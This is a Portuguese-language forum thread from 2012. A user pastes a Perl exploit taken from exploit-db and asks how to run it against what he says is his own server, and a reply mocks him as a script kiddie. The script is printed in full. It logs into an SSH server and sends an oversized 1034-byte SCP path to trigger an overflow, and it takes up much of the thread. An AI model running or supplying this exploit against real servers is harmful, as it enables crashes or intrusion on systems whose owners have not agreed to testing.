ajuda com exploits

felipe9980
(usa Ubuntu)

Enviado em 26/04/2012 - 14:02h

galera eu quero saber como eu posso fazer um exploit em perl funcionar porque eu baixei um exploit do www.exploit-db.com só que ele veio em .txt e eu não sei como tranforma ele em um exploite , o exploit é esse =

--------------------------------------------------------------------------------------------------------------------------------

#!/usr/bin/perl

use Net::SSH2;
use Getopt::Std;

@overflow = ('A' x 1034);

getopts('H:P:u:p:', \%opts);
$host = $opts{'H'}; $port = $opts{'P'}; $username = $opts{'u'}; $password =
$opts{'p'};

if(!defined($host) || !defined($username))
{
print "\nUsage: $0 -H <host> -P [port] -u <username> -p
[password]\n\n";
exit(0);

}


print "\SCP Get... Beep, Beep";
foreach(@overflow) { $ssh2 = Net::SSH2->new();
$ssh2->connect($host, $port) || die "\nError: Connection
Refused!\n"; open(FD, '>>sshfuzz.log'); print FD $host . "\n" . $_ . "\n\n";
$ssh2->auth_password($username, $password) || die "\nError:
Username/Password Denied!\n";
$fuzzssh = $_; $scpget = $ssh2->scp_get($fuzzssh); $ssh2->disconnect(); }
sleep(1);


close(FD); close(FDD); close(FDDD); close(FDDDD);

exit;
--------------------------------------------------------------------------------------------------------------------------------


veio esse codigo só que eu não sei como compilar ele ou sei lá oque fazer e quero a ajuda de vcs pra isso por favor me ajudem eu preciso ver se o meu servidor e vuneravel a esse exploit!por favorr

_di0
(usa FreeBSD)

Enviado em 26/04/2012 - 15:18h

hehe, está em txt para desencorajar script kiddie. Está tão desesperado que fez até essa pergunta no Yahoo Perguntas! agora há pouco. hahaha

felipe9980
(usa Ubuntu)

Enviado em 26/04/2012 - 16:06h

pow cara to msm desesperado mais preciso testa esse exploit no meu servidor por favor me ajuda !